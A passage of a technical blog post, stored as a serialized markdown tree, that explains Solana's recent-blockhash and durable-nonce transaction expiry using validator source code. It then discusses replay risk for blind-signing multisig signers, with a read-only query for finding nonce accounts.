Blockhash",{"type":23,"tag":24,"props":66935,"children":66936},{},[66937,66939,66946],{"type":28,"value":66938},"The most straightforward is with a \"recent blockhash\". From ",{"type":23,"tag":31,"props":66940,"children":66943},{"href":66941,"rel":66942},"https://solana.com/developers/guides/advanced/confirmation",[35],[66944],{"type":28,"value":66945},"the docs",{"type":28,"value":3746},{"type":23,"tag":2186,"props":66948,"children":66949},{},[66950],{"type":23,"tag":24,"props":66951,"children":66952},{},[66953],{"type":28,"value":66954},"During transaction processing, Solana Validators will check if each transaction's recent blockhash is recorded within the most recent 151 stored hashes (aka \"max processing age\"). If the transaction's recent blockhash is older than this max processing age, the transaction is not processed.",{"type":23,"tag":24,"props":66956,"children":66957},{},[66958,66960,66967],{"type":28,"value":66959},"The actual constant ",{"type":23,"tag":31,"props":66961,"children":66964},{"href":66962,"rel":66963},"https://github.com/anza-xyz/agave/blob/c1080de464cfb578c301e975f498964b5d5313db/sdk/clock/src/lib.rs#L129-L130",[35],[66965],{"type":28,"value":66966},"is defined here",{"type":28,"value":282},{"type":23,"tag":304,"props":66969,"children":66971},{"className":2234,"code":66970,"language":2233,"meta":7,"style":7},"// The maximum age of a blockhash that will be accepted by the leader\npub const MAX_PROCESSING_AGE: usize = MAX_RECENT_BLOCKHASHES / 2;\n",[66972],{"type":23,"tag":94,"props":66973,"children":66974},{"__ignoreMap":7},[66975,66983],{"type":23,"tag":314,"props":66976,"children":66977},{"class":316,"line":317},[66978],{"type":23,"tag":314,"props":66979,"children":66980},{"style":374},[66981],{"type":28,"value":66982},"// The maximum age of a blockhash that will be accepted by the leader\n",{"type":23,"tag":314,"props":66984,"children":66985},{"class":316,"line":370},[66986,66990,66994,66999,67003,67007,67011,67016,67020,67024],{"type":23,"tag":314,"props":66987,"children":66988},{"style":321},[66989],{"type":28,"value":12938},{"type":23,"tag":314,"props":66991,"children":66992},{"style":321},[66993],{"type":28,"value":38358},{"type":23,"tag":314,"props":66995,"children":66996},{"style":338},[66997],{"type":28,"value":66998}," MAX_PROCESSING_AGE",{"type":23,"tag":314,"props":67000,"children":67001},{"style":354},[67002],{"type":28,"value":3746},{"type":23,"tag":314,"props":67004,"children":67005},{"style":2674},[67006],{"type":28,"value":12979},{"type":23,"tag":314,"props":67008,"children":67009},{"style":354},[67010],{"type":28,"value":1237},{"type":23,"tag":314,"props":67012,"children":67013},{"style":338},[67014],{"type":28,"value":67015}," MAX_RECENT_BLOCKHASHES ",{"type":23,"tag":314,"props":67017,"children":67018},{"style":354},[67019],{"type":28,"value":3835},{"type":23,"tag":314,"props":67021,"children":67022},{"style":1054},[67023],{"type":28,"value":7189},{"type":23,"tag":314,"props":67025,"children":67026},{"style":338},[67027],{"type":28,"value":2278},{"type":23,"tag":24,"props":67029,"children":67030},{},[67031,67033,67040,67042,67048],{"type":28,"value":67032},"For those curious, the logic ",{"type":23,"tag":31,"props":67034,"children":67037},{"href":67035,"rel":67036},"https://github.com/anza-xyz/agave/blob/c1080de464cfb578c301e975f498964b5d5313db/runtime/src/bank/check_transactions.rs#L61",[35],[67038],{"type":28,"value":67039},"starts here",{"type":28,"value":67041}," and is quite straightforward to follow, ending in a ",{"type":23,"tag":94,"props":67043,"children":67045},{"className":67044},[],[67046],{"type":28,"value":67047},"is_hash_index_valid",{"type":28,"value":67049}," check.",{"type":23,"tag":304,"props":67051,"children":67053},{"className":2234,"code":67052,"language":2233,"meta":7,"style":7},"fn is_hash_index_valid(last_hash_index: u64, max_age: usize, hash_index: u64) -> bool {\n last_hash_index - hash_index \u003C= max_age as u64\n}\n",[67054],{"type":23,"tag":94,"props":67055,"children":67056},{"__ignoreMap":7},[67057,67136,67170],{"type":23,"tag":314,"props":67058,"children":67059},{"class":316,"line":317},[67060,67064,67069,67073,67078,67082,67086,67090,67095,67099,67103,67107,67112,67116,67120,67124,67128,67132],{"type":23,"tag":314,"props":67061,"children":67062},{"style":321},[67063],{"type":28,"value":19504},{"type":23,"tag":314,"props":67065,"children":67066},{"style":332},[67067],{"type":28,"value":67068}," is_hash_index_valid",{"type":23,"tag":314,"props":67070,"children":67071},{"style":338},[67072],{"type":28,"value":341},{"type":23,"tag":314,"props":67074,"children":67075},{"style":360},[67076],{"type":28,"value":67077},"last_hash_index",{"type":23,"tag":314,"props":67079,"children":67080},{"style":354},[67081],{"type":28,"value":3746},{"type":23,"tag":314,"props":67083,"children":67084},{"style":2674},[67085],{"type":28,"value":5114},{"type":23,"tag":314,"props":67087,"children":67088},{"style":338},[67089],{"type":28,"value":778},{"type":23,"tag":314,"props":67091,"children":67092},{"style":360},[67093],{"type":28,"value":67094},"max_age",{"type":23,"tag":314,"props":67096,"children":67097},{"style":354},[67098],{"type":28,"value":3746},{"type":23,"tag":314,"props":67100,"children":67101},{"style":2674},[67102],{"type":28,"value":12979},{"type":23,"tag":314,"props":67104,"children":67105},{"style":338},[67106],{"type":28,"value":778},{"type":23,"tag":314,"props":67108,"children":67109},{"style":360},[67110],{"type":28,"value":67111},"hash_index",{"type":23,"tag":314,"props":67113,"children":67114},{"style":354},[67115],{"type":28,"value":3746},{"type":23,"tag":314,"props":67117,"children":67118},{"style":2674},[67119],{"type":28,"value":5114},{"type":23,"tag":314,"props":67121,"children":67122},{"style":338},[67123],{"type":28,"value":2343},{"type":23,"tag":314,"props":67125,"children":67126},{"style":354},[67127],{"type":28,"value":1015},{"type":23,"tag":314,"props":67129,"children":67130},{"style":2674},[67131],{"type":28,"value":11298},{"type":23,"tag":314,"props":67133,"children":67134},{"style":338},[67135],{"type":28,"value":1449},{"type":23,"tag":314,"props":67137,"children":67138},{"class":316,"line":370},[67139,67144,67148,67153,67157,67162,67166],{"type":23,"tag":314,"props":67140,"children":67141},{"style":360},[67142],{"type":28,"value":67143}," last_hash_index",{"type":23,"tag":314,"props":67145,"children":67146},{"style":354},[67147],{"type":28,"value":50506},{"type":23,"tag":314,"props":67149,"children":67150},{"style":360},[67151],{"type":28,"value":67152}," hash_index",{"type":23,"tag":314,"props":67154,"children":67155},{"style":354},[67156],{"type":28,"value":7451},{"type":23,"tag":314,"props":67158,"children":67159},{"style":360},[67160],{"type":28,"value":67161}," max_age",{"type":23,"tag":314,"props":67163,"children":67164},{"style":321},[67165],{"type":28,"value":8080},{"type":23,"tag":314,"props":67167,"children":67168},{"style":2674},[67169],{"type":28,"value":12444},{"type":23,"tag":314,"props":67171,"children":67172},{"class":316,"line":380},[67173],{"type":23,"tag":314,"props":67174,"children":67175},{"style":338},[67176],{"type":28,"value":386},{"type":23,"tag":24,"props":67178,"children":67179},{},[67180],{"type":28,"value":67181},"One important consequence is that any signed transaction has a natural expiration of around a few minutes.",{"type":23,"tag":2186,"props":67183,"children":67184},{},[67185],{"type":23,"tag":24,"props":67186,"children":67187},{},[67188,67190],{"type":28,"value":67189},"Since slots (aka the time period a validator can produce a block) are configured to last about 400ms, but may fluctuate between 400ms and 600ms, ",{"type":23,"tag":721,"props":67191,"children":67192},{},[67193],{"type":28,"value":67194},"a given blockhash can only be used by transactions for about 60 to 90 seconds before it will be considered expired by the runtime.",{"type":23,"tag":24,"props":67196,"children":67197},{},[67198,67200,67205],{"type":28,"value":67199},"This means an attacker ",{"type":23,"tag":186,"props":67201,"children":67202},{},[67203],{"type":28,"value":67204},"must use",{"type":28,"value":67206}," a malicious signed transaction within a short timeframe.",{"type":23,"tag":837,"props":67208,"children":67210},{"id":67209},"durable-nonce",[67211],{"type":28,"value":67212},"Durable Nonce",{"type":23,"tag":24,"props":67214,"children":67215},{},[67216,67218,67225],{"type":28,"value":67217},"The second type of signature ",{"type":23,"tag":31,"props":67219,"children":67222},{"href":67220,"rel":67221},"https://solana.com/developers/guides/advanced/introduction-to-durable-nonces",[35],[67223],{"type":28,"value":67224},"is a durable nonce",{"type":28,"value":67226},". These were created to solve the very feature (or problem) mentioned above: short expiration time.",{"type":23,"tag":2186,"props":67228,"children":67229},{},[67230],{"type":23,"tag":24,"props":67231,"children":67232},{},[67233,67235],{"type":28,"value":67234},"durable nonces provide an opportunity to create and sign a transaction that can be submitted at any point in the future, and much more. ",{"type":23,"tag":721,"props":67236,"children":67237},{},[67238],{"type":28,"value":67239},"This opens up a wide range of use cases that are otherwise not possible or too difficult to implement",{"type":23,"tag":24,"props":67241,"children":67242},{},[67243,67245,67252],{"type":28,"value":67244},"If we examine the code ",{"type":23,"tag":31,"props":67246,"children":67249},{"href":67247,"rel":67248},"https://github.com/anza-xyz/agave/blob/c1080de464cfb578c301e975f498964b5d5313db/runtime/src/bank/check_transactions.rs#L104",[35],[67250],{"type":28,"value":67251},"for recent blockhash validation",{"type":28,"value":67253},", we can also see the handling for durable nonces.",{"type":23,"tag":304,"props":67255,"children":67257},{"className":2234,"code":67256,"language":2233,"meta":7,"style":7}," let recent_blockhash = tx.message().recent_blockhash();\n if let Some(hash_info) = hash_queue.get_hash_info_if_valid(recent_blockhash, max_age) {\n Ok(CheckedTransactionDetails {\n nonce: None,\n lamports_per_signature: hash_info.lamports_per_signature(),\n })\n } else if let Some((nonce, previous_lamports_per_signature)) = self\n .check_load_and_advance_message_nonce_account(\n tx.message(),\n next_durable_nonce,\n next_lamports_per_signature,\n )\n {\n Ok(CheckedTransactionDetails {\n nonce: Some(nonce),\n lamports_per_signature: previous_lamports_per_signature,\n })\n } else {\n error_counters.blockhash_not_found += 1;\n Err(TransactionError::BlockhashNotFound)\n }\n",[67258],{"type":23,"tag":94,"props":67259,"children":67260},{"__ignoreMap":7},[67261,67308,67374,67394,67414,67444,67452,67506,67523,67543,67555,67567,67575,67582,67601,67628,67648,67655,67670,67699,67728],{"type":23,"tag":314,"props":67262,"children":67263},{"class":316,"line":317},[67264,67268,67273,67277,67282,67286,67291,67295,67299,67304],{"type":23,"tag":314,"props":67265,"children":67266},{"style":321},[67267],{"type":28,"value":2254},{"type":23,"tag":314,"props":67269,"children":67270},{"style":360},[67271],{"type":28,"value":67272}," recent_blockhash",{"type":23,"tag":314,"props":67274,"children":67275},{"style":354},[67276],{"type":28,"value":1237},{"type":23,"tag":314,"props":67278,"children":67279},{"style":360},[67280],{"type":28,"value":67281}," tx",{"type":23,"tag":314,"props":67283,"children":67284},{"style":354},[67285],{"type":28,"value":282},{"type":23,"tag":314,"props":67287,"children":67288},{"style":332},[67289],{"type":28,"value":67290},"message",{"type":23,"tag":314,"props":67292,"children":67293},{"style":338},[67294],{"type":28,"value":13126},{"type":23,"tag":314,"props":67296,"children":67297},{"style":354},[67298],{"type":28,"value":282},{"type":23,"tag":314,"props":67300,"children":67301},{"style":332},[67302],{"type":28,"value":67303},"recent_blockhash",{"type":23,"tag":314,"props":67305,"children":67306},{"style":338},[67307],{"type":28,"value":2926},{"type":23,"tag":314,"props":67309,"children":67310},{"class":316,"line":370},[67311,67315,67319,67323,67327,67332,67336,67340,67345,67349,67354,67358,67362,67366,67370],{"type":23,"tag":314,"props":67312,"children":67313},{"style":2284},[67314],{"type":28,"value":11527},{"type":23,"tag":314,"props":67316,"children":67317},{"style":321},[67318],{"type":28,"value":26551},{"type":23,"tag":314,"props":67320,"children":67321},{"style":2674},[67322],{"type":28,"value":26556},{"type":23,"tag":314,"props":67324,"children":67325},{"style":338},[67326],{"type":28,"value":341},{"type":23,"tag":314,"props":67328,"children":67329},{"style":360},[67330],{"type":28,"value":67331},"hash_info",{"type":23,"tag":314,"props":67333,"children":67334},{"style":338},[67335],{"type":28,"value":2343},{"type":23,"tag":314,"props":67337,"children":67338},{"style":354},[67339],{"type":28,"value":1102},{"type":23,"tag":314,"props":67341,"children":67342},{"style":360},[67343],{"type":28,"value":67344}," hash_queue",{"type":23,"tag":314,"props":67346,"children":67347},{"style":354},[67348],{"type":28,"value":282},{"type":23,"tag":314,"props":67350,"children":67351},{"style":332},[67352],{"type":28,"value":67353},"get_hash_info_if_valid",{"type":23,"tag":314,"props":67355,"children":67356},{"style":338},[67357],{"type":28,"value":341},{"type":23,"tag":314,"props":67359,"children":67360},{"style":360},[67361],{"type":28,"value":67303},{"type":23,"tag":314,"props":67363,"children":67364},{"style":338},[67365],{"type":28,"value":778},{"type":23,"tag":314,"props":67367,"children":67368},{"style":360},[67369],{"type":28,"value":67094},{"type":23,"tag":314,"props":67371,"children":67372},{"style":338},[67373],{"type":28,"value":367},{"type":23,"tag":314,"props":67375,"children":67376},{"class":316,"line":380},[67377,67381,67385,67390],{"type":23,"tag":314,"props":67378,"children":67379},{"style":2674},[67380],{"type":28,"value":14054},{"type":23,"tag":314,"props":67382,"children":67383},{"style":338},[67384],{"type":28,"value":341},{"type":23,"tag":314,"props":67386,"children":67387},{"style":2674},[67388],{"type":28,"value":67389},"CheckedTransactionDetails",{"type":23,"tag":314,"props":67391,"children":67392},{"style":338},[67393],{"type":28,"value":1449},{"type":23,"tag":314,"props":67395,"children":67396},{"class":316,"line":1091},[67397,67402,67406,67410],{"type":23,"tag":314,"props":67398,"children":67399},{"style":360},[67400],{"type":28,"value":67401}," nonce",{"type":23,"tag":314,"props":67403,"children":67404},{"style":354},[67405],{"type":28,"value":3746},{"type":23,"tag":314,"props":67407,"children":67408},{"style":2674},[67409],{"type":28,"value":27004},{"type":23,"tag":314,"props":67411,"children":67412},{"style":338},[67413],{"type":28,"value":1870},{"type":23,"tag":314,"props":67415,"children":67416},{"class":316,"line":1141},[67417,67422,67426,67431,67435,67440],{"type":23,"tag":314,"props":67418,"children":67419},{"style":360},[67420],{"type":28,"value":67421}," lamports_per_signature",{"type":23,"tag":314,"props":67423,"children":67424},{"style":354},[67425],{"type":28,"value":3746},{"type":23,"tag":314,"props":67427,"children":67428},{"style":360},[67429],{"type":28,"value":67430}," hash_info",{"type":23,"tag":314,"props":67432,"children":67433},{"style":354},[67434],{"type":28,"value":282},{"type":23,"tag":314,"props":67436,"children":67437},{"style":332},[67438],{"type":28,"value":67439},"lamports_per_signature",{"type":23,"tag":314,"props":67441,"children":67442},{"style":338},[67443],{"type":28,"value":2747},{"type":23,"tag":314,"props":67445,"children":67446},{"class":316,"line":1173},[67447],{"type":23,"tag":314,"props":67448,"children":67449},{"style":338},[67450],{"type":28,"value":67451}," })\n",{"type":23,"tag":314,"props":67453,"children":67454},{"class":316,"line":1208},[67455,67459,67463,67467,67471,67475,67479,67484,67488,67493,67497,67501],{"type":23,"tag":314,"props":67456,"children":67457},{"style":338},[67458],{"type":28,"value":15020},{"type":23,"tag":314,"props":67460,"children":67461},{"style":2284},[67462],{"type":28,"value":2570},{"type":23,"tag":314,"props":67464,"children":67465},{"style":2284},[67466],{"type":28,"value":15029},{"type":23,"tag":314,"props":67468,"children":67469},{"style":321},[67470],{"type":28,"value":26551},{"type":23,"tag":314,"props":67472,"children":67473},{"style":2674},[67474],{"type":28,"value":26556},{"type":23,"tag":314,"props":67476,"children":67477},{"style":338},[67478],{"type":28,"value":30771},{"type":23,"tag":314,"props":67480,"children":67481},{"style":360},[67482],{"type":28,"value":67483},"nonce",{"type":23,"tag":314,"props":67485,"children":67486},{"style":338},[67487],{"type":28,"value":778},{"type":23,"tag":314,"props":67489,"children":67490},{"style":360},[67491],{"type":28,"value":67492},"previous_lamports_per_signature",{"type":23,"tag":314,"props":67494,"children":67495},{"style":338},[67496],{"type":28,"value":8089},{"type":23,"tag":314,"props":67498,"children":67499},{"style":354},[67500],{"type":28,"value":1102},{"type":23,"tag":314,"props":67502,"children":67503},{"style":321},[67504],{"type":28,"value":67505}," self\n",{"type":23,"tag":314,"props":67507,"children":67508},{"class":316,"line":1216},[67509,67514,67519],{"type":23,"tag":314,"props":67510,"children":67511},{"style":354},[67512],{"type":28,"value":67513}," .",{"type":23,"tag":314,"props":67515,"children":67516},{"style":332},[67517],{"type":28,"value":67518},"check_load_and_advance_message_nonce_account",{"type":23,"tag":314,"props":67520,"children":67521},{"style":338},[67522],{"type":28,"value":2719},{"type":23,"tag":314,"props":67524,"children":67525},{"class":316,"line":1301},[67526,67531,67535,67539],{"type":23,"tag":314,"props":67527,"children":67528},{"style":360},[67529],{"type":28,"value":67530}," tx",{"type":23,"tag":314,"props":67532,"children":67533},{"style":354},[67534],{"type":28,"value":282},{"type":23,"tag":314,"props":67536,"children":67537},{"style":332},[67538],{"type":28,"value":67290},{"type":23,"tag":314,"props":67540,"children":67541},{"style":338},[67542],{"type":28,"value":2747},{"type":23,"tag":314,"props":67544,"children":67545},{"class":316,"line":1343},[67546,67551],{"type":23,"tag":314,"props":67547,"children":67548},{"style":360},[67549],{"type":28,"value":67550}," next_durable_nonce",{"type":23,"tag":314,"props":67552,"children":67553},{"style":338},[67554],{"type":28,"value":1870},{"type":23,"tag":314,"props":67556,"children":67557},{"class":316,"line":1351},[67558,67563],{"type":23,"tag":314,"props":67559,"children":67560},{"style":360},[67561],{"type":28,"value":67562}," next_lamports_per_signature",{"type":23,"tag":314,"props":67564,"children":67565},{"style":338},[67566],{"type":28,"value":1870},{"type":23,"tag":314,"props":67568,"children":67569},{"class":316,"line":1387},[67570],{"type":23,"tag":314,"props":67571,"children":67572},{"style":338},[67573],{"type":28,"value":67574}," )\n",{"type":23,"tag":314,"props":67576,"children":67577},{"class":316,"line":1422},[67578],{"type":23,"tag":314,"props":67579,"children":67580},{"style":338},[67581],{"type":28,"value":28435},{"type":23,"tag":314,"props":67583,"children":67584},{"class":316,"line":1430},[67585,67589,67593,67597],{"type":23,"tag":314,"props":67586,"children":67587},{"style":2674},[67588],{"type":28,"value":14054},{"type":23,"tag":314,"props":67590,"children":67591},{"style":338},[67592],{"type":28,"value":341},{"type":23,"tag":314,"props":67594,"children":67595},{"style":2674},[67596],{"type":28,"value":67389},{"type":23,"tag":314,"props":67598,"children":67599},{"style":338},[67600],{"type":28,"value":1449},{"type":23,"tag":314,"props":67602,"children":67603},{"class":316,"line":1452},[67604,67608,67612,67616,67620,67624],{"type":23,"tag":314,"props":67605,"children":67606},{"style":360},[67607],{"type":28,"value":67401},{"type":23,"tag":314,"props":67609,"children":67610},{"style":354},[67611],{"type":28,"value":3746},{"type":23,"tag":314,"props":67613,"children":67614},{"style":2674},[67615],{"type":28,"value":26556},{"type":23,"tag":314,"props":67617,"children":67618},{"style":338},[67619],{"type":28,"value":341},{"type":23,"tag":314,"props":67621,"children":67622},{"style":360},[67623],{"type":28,"value":67483},{"type":23,"tag":314,"props":67625,"children":67626},{"style":338},[67627],{"type":28,"value":5992},{"type":23,"tag":314,"props":67629,"children":67630},{"class":316,"line":1497},[67631,67635,67639,67644],{"type":23,"tag":314,"props":67632,"children":67633},{"style":360},[67634],{"type":28,"value":67421},{"type":23,"tag":314,"props":67636,"children":67637},{"style":354},[67638],{"type":28,"value":3746},{"type":23,"tag":314,"props":67640,"children":67641},{"style":360},[67642],{"type":28,"value":67643}," previous_lamports_per_signature",{"type":23,"tag":314,"props":67645,"children":67646},{"style":338},[67647],{"type":28,"value":1870},{"type":23,"tag":314,"props":67649,"children":67650},{"class":316,"line":1539},[67651],{"type":23,"tag":314,"props":67652,"children":67653},{"style":338},[67654],{"type":28,"value":67451},{"type":23,"tag":314,"props":67656,"children":67657},{"class":316,"line":1548},[67658,67662,67666],{"type":23,"tag":314,"props":67659,"children":67660},{"style":338},[67661],{"type":28,"value":15020},{"type":23,"tag":314,"props":67663,"children":67664},{"style":2284},[67665],{"type":28,"value":2570},{"type":23,"tag":314,"props":67667,"children":67668},{"style":338},[67669],{"type":28,"value":1449},{"type":23,"tag":314,"props":67671,"children":67672},{"class":316,"line":1584},[67673,67678,67682,67687,67691,67695],{"type":23,"tag":314,"props":67674,"children":67675},{"style":360},[67676],{"type":28,"value":67677}," error_counters",{"type":23,"tag":314,"props":67679,"children":67680},{"style":354},[67681],{"type":28,"value":282},{"type":23,"tag":314,"props":67683,"children":67684},{"style":338},[67685],{"type":28,"value":67686},"blockhash_not_found ",{"type":23,"tag":314,"props":67688,"children":67689},{"style":354},[67690],{"type":28,"value":2028},{"type":23,"tag":314,"props":67692,"children":67693},{"style":1054},[67694],{"type":28,"value":3778},{"type":23,"tag":314,"props":67696,"children":67697},{"style":338},[67698],{"type":28,"value":2278},{"type":23,"tag":314,"props":67700,"children":67701},{"class":316,"line":1617},[67702,67706,67710,67715,67719,67724],{"type":23,"tag":314,"props":67703,"children":67704},{"style":2674},[67705],{"type":28,"value":14097},{"type":23,"tag":314,"props":67707,"children":67708},{"style":338},[67709],{"type":28,"value":341},{"type":23,"tag":314,"props":67711,"children":67712},{"style":2674},[67713],{"type":28,"value":67714},"TransactionError",{"type":23,"tag":314,"props":67716,"children":67717},{"style":354},[67718],{"type":28,"value":2737},{"type":23,"tag":314,"props":67720,"children":67721},{"style":2674},[67722],{"type":28,"value":67723},"BlockhashNotFound",{"type":23,"tag":314,"props":67725,"children":67726},{"style":338},[67727],{"type":28,"value":2414},{"type":23,"tag":314,"props":67729,"children":67730},{"class":316,"line":1625},[67731],{"type":23,"tag":314,"props":67732,"children":67733},{"style":338},[67734],{"type":28,"value":2610},{"type":23,"tag":24,"props":67736,"children":67737},{},[67738],{"type":28,"value":67739},"The documentation does a good job of explaining how they work.",{"type":23,"tag":2186,"props":67741,"children":67742},{},[67743],{"type":23,"tag":24,"props":67744,"children":67745},{},[67746],{"type":28,"value":67747},"Durable Transaction Nonces, which are 32-byte in length (usually represented as base58 encoded strings), are used in place of recent blockhashes to make every transaction unique (to avoid double-spending) while removing the mortality on the unexecuted transaction.",{"type":23,"tag":24,"props":67749,"children":67750},{},[67751,67753,67760],{"type":28,"value":67752},"Durable nonces are created and managed ",{"type":23,"tag":31,"props":67754,"children":67757},{"href":67755,"rel":67756},"https://github.com/anza-xyz/agave/blob/c1080de464cfb578c301e975f498964b5d5313db/programs/system/src/system_processor.rs#L446",[35],[67758],{"type":28,"value":67759},"by the system program",{"type":28,"value":67761},". They don't have a fixed PDA, so each account can have multiple associated nonces.",{"type":23,"tag":24,"props":67763,"children":67764},{},[67765,67767,67774],{"type":28,"value":67766},"After a durable nonce is used, it'll be \"advanced\" to preventing replay attacks. The new nonce is calculated ",{"type":23,"tag":31,"props":67768,"children":67771},{"href":67769,"rel":67770},"https://github.com/anza-xyz/agave/blob/c1080de464cfb578c301e975f498964b5d5313db/runtime/src/bank/check_transactions.rs#L81",[35],[67772],{"type":28,"value":67773},"based on the current blockhash",{"type":28,"value":67775},", and cannot be predicted in advance.",{"type":23,"tag":304,"props":67777,"children":67779},{"className":2234,"code":67778,"language":2233,"meta":7,"style":7}," let hash_queue = self.blockhash_queue.read().unwrap();\n let last_blockhash = hash_queue.last_hash();\n let next_durable_nonce = DurableNonce::from_blockhash(&last_blockhash);\n",[67780],{"type":23,"tag":94,"props":67781,"children":67782},{"__ignoreMap":7},[67783,67835,67868],{"type":23,"tag":314,"props":67784,"children":67785},{"class":316,"line":317},[67786,67790,67794,67798,67802,67806,67811,67815,67819,67823,67827,67831],{"type":23,"tag":314,"props":67787,"children":67788},{"style":321},[67789],{"type":28,"value":2254},{"type":23,"tag":314,"props":67791,"children":67792},{"style":360},[67793],{"type":28,"value":67344},{"type":23,"tag":314,"props":67795,"children":67796},{"style":354},[67797],{"type":28,"value":1237},{"type":23,"tag":314,"props":67799,"children":67800},{"style":321},[67801],{"type":28,"value":13044},{"type":23,"tag":314,"props":67803,"children":67804},{"style":354},[67805],{"type":28,"value":282},{"type":23,"tag":314,"props":67807,"children":67808},{"style":338},[67809],{"type":28,"value":67810},"blockhash_queue",{"type":23,"tag":314,"props":67812,"children":67813},{"style":354},[67814],{"type":28,"value":282},{"type":23,"tag":314,"props":67816,"children":67817},{"style":332},[67818],{"type":28,"value":59892},{"type":23,"tag":314,"props":67820,"children":67821},{"style":338},[67822],{"type":28,"value":13126},{"type":23,"tag":314,"props":67824,"children":67825},{"style":354},[67826],{"type":28,"value":282},{"type":23,"tag":314,"props":67828,"children":67829},{"style":332},[67830],{"type":28,"value":2921},{"type":23,"tag":314,"props":67832,"children":67833},{"style":338},[67834],{"type":28,"value":2926},{"type":23,"tag":314,"props":67836,"children":67837},{"class":316,"line":370},[67838,67842,67847,67851,67855,67859,67864],{"type":23,"tag":314,"props":67839,"children":67840},{"style":321},[67841],{"type":28,"value":2254},{"type":23,"tag":314,"props":67843,"children":67844},{"style":360},[67845],{"type":28,"value":67846}," last_blockhash",{"type":23,"tag":314,"props":67848,"children":67849},{"style":354},[67850],{"type":28,"value":1237},{"type":23,"tag":314,"props":67852,"children":67853},{"style":360},[67854],{"type":28,"value":67344},{"type":23,"tag":314,"props":67856,"children":67857},{"style":354},[67858],{"type":28,"value":282},{"type":23,"tag":314,"props":67860,"children":67861},{"style":332},[67862],{"type":28,"value":67863},"last_hash",{"type":23,"tag":314,"props":67865,"children":67866},{"style":338},[67867],{"type":28,"value":2926},{"type":23,"tag":314,"props":67869,"children":67870},{"class":316,"line":380},[67871,67875,67880,67884,67889,67893,67898,67902,67906,67911],{"type":23,"tag":314,"props":67872,"children":67873},{"style":321},[67874],{"type":28,"value":2254},{"type":23,"tag":314,"props":67876,"children":67877},{"style":360},[67878],{"type":28,"value":67879}," next_durable_nonce",{"type":23,"tag":314,"props":67881,"children":67882},{"style":354},[67883],{"type":28,"value":1237},{"type":23,"tag":314,"props":67885,"children":67886},{"style":2674},[67887],{"type":28,"value":67888}," DurableNonce",{"type":23,"tag":314,"props":67890,"children":67891},{"style":354},[67892],{"type":28,"value":2737},{"type":23,"tag":314,"props":67894,"children":67895},{"style":332},[67896],{"type":28,"value":67897},"from_blockhash",{"type":23,"tag":314,"props":67899,"children":67900},{"style":338},[67901],{"type":28,"value":341},{"type":23,"tag":314,"props":67903,"children":67904},{"style":354},[67905],{"type":28,"value":1833},{"type":23,"tag":314,"props":67907,"children":67908},{"style":360},[67909],{"type":28,"value":67910},"last_blockhash",{"type":23,"tag":314,"props":67912,"children":67913},{"style":338},[67914],{"type":28,"value":1025},{"type":23,"tag":24,"props":67916,"children":67917},{},[67918,67920,67925],{"type":28,"value":67919},"This has an important consequence for our threat model. Unlike recent blockhash transactions, durable nonce transactions ",{"type":23,"tag":186,"props":67921,"children":67922},{},[67923],{"type":28,"value":67924},"can",{"type":28,"value":67926}," be saved and reused.",{"type":23,"tag":61,"props":67928,"children":67930},{"id":67929},"threat-model",[67931],{"type":28,"value":67932},"Threat Model",{"type":23,"tag":24,"props":67934,"children":67935},{},[67936],{"type":28,"value":67937},"Let's consider a simplified form of the original question.",{"type":23,"tag":84,"props":67939,"children":67940},{},[67941,67946,67951],{"type":23,"tag":88,"props":67942,"children":67943},{},[67944],{"type":28,"value":67945},"We have a N/M multisig",{"type":23,"tag":88,"props":67947,"children":67948},{},[67949],{"type":28,"value":67950},"Signers are unable to see what they're signing, both with respect to content and quantity of signatures. This is roughly equivalent to blind signing transactions.",{"type":23,"tag":88,"props":67952,"children":67953},{},[67954],{"type":28,"value":67955},"We can accurately query chain state.",{"type":23,"tag":24,"props":67957,"children":67958},{},[67959],{"type":28,"value":67960},"Can we safely sign transactions?",{"type":23,"tag":24,"props":67962,"children":67963},{},[67964],{"type":28,"value":67965},"One observation is that this problem is very hard to solve with durable nonces. By signing durable nonce transactions, an attacker could collect signatures and replay them at some indeterminite future point.",{"type":23,"tag":24,"props":67967,"children":67968},{},[67969,67971,67977,67979,67986],{"type":28,"value":67970},"Durable nonces require an onchain account, and it's possible to use a ",{"type":23,"tag":94,"props":67972,"children":67974},{"className":67973},[],[67975],{"type":28,"value":67976},"getProgramAccounts",{"type":28,"value":67978}," call to validate if your signer ",{"type":23,"tag":31,"props":67980,"children":67983},{"href":67981,"rel":67982},"https://solana.stackexchange.com/questions/9650/is-there-any-way-to-get-nonce-accounts-of-an-authorized-account",[35],[67984],{"type":28,"value":67985},"has an associated durable nonce",{"type":28,"value":282},{"type":23,"tag":304,"props":67988,"children":67990},{"className":35179,"code":67989,"language":35181,"meta":7,"style":7},"const connection = new Connection(clusterApiUrl('testnet'));\nconst nonceAccounts = await connection.getProgramAccounts(\n // The system program owns all nonce accounts.\n SYSTEM_PROGRAM_ADDRESS,\n {\n filters: [\n {\n // Nonce accounts are exactly 80 bytes long\n dataSize: 80,\n },\n {\n // The authority's 32-byte public key is written\n // into bytes 8-40 of the nonce's account data.\n memcmp: {\n bytes: AUTHORITY_PUBLIC_KEY.toBase58(),\n offset: 8,\n },\n },\n ],\n }\n);\n",[67991],{"type":23,"tag":94,"props":67992,"children":67993},{"__ignoreMap":7},[67994,68041,68077,68085,68097,68105,68117,68125,68133,68150,68157,68164,68172,68180,68192,68218,68235,68242,68249,68257,68264],{"type":23,"tag":314,"props":67995,"children":67996},{"class":316,"line":317},[67997,68001,68006,68010,68014,68019,68023,68028,68032,68037],{"type":23,"tag":314,"props":67998,"children":67999},{"style":321},[68000],{"type":28,"value":346},{"type":23,"tag":314,"props":68002,"children":68003},{"style":360},[68004],{"type":28,"value":68005}," connection",{"type":23,"tag":314,"props":68007,"children":68008},{"style":354},[68009],{"type":28,"value":1237},{"type":23,"tag":314,"props":68011,"children":68012},{"style":321},[68013],{"type":28,"value":31180},{"type":23,"tag":314,"props":68015,"children":68016},{"style":332},[68017],{"type":28,"value":68018}," 